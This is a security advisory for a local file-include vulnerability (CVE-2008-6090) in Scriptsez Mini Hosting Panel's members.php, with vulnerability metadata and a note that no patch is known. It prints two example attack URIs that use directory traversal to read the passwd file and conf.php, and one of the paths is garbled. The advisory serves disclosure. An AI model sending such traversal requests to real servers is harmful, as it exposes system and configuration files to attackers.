Scriptsez Mini Hosting Panel 'members.php' Local File Include Vulnerability

Bugtraq ID:	31701
Class:	Input Validation Error
CVE:	CVE-2008-6090
Remote:	Yes
Local:	No
Published:	Oct 10 2008 12:00AM
Updated:	Feb 20 2009 12:07AM
Credit:	JosS
Vulnerable:	ScriptsEZ.net Mini Hosting Panel 0
Not Vulnerable:

Scriptsez Mini Hosting Panel 'members.php' Local File Include Vulnerability

Scriptsez Mini Hosting Panel is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

Scriptsez Mini Hosting Panel 'members.php' Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/members.php?act=view&p=passwd&dir=../../../../../../../../../../../../etchtht
http://www.example.com/members.php?act=view&p=conf.php&dir=/test/../../..

Scriptsez Mini Hosting Panel 'members.php' Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Scriptsez Mini Hosting Panel 'members.php' Local File Include Vulnerability

References:

• Vendor Homepage (Scriptez)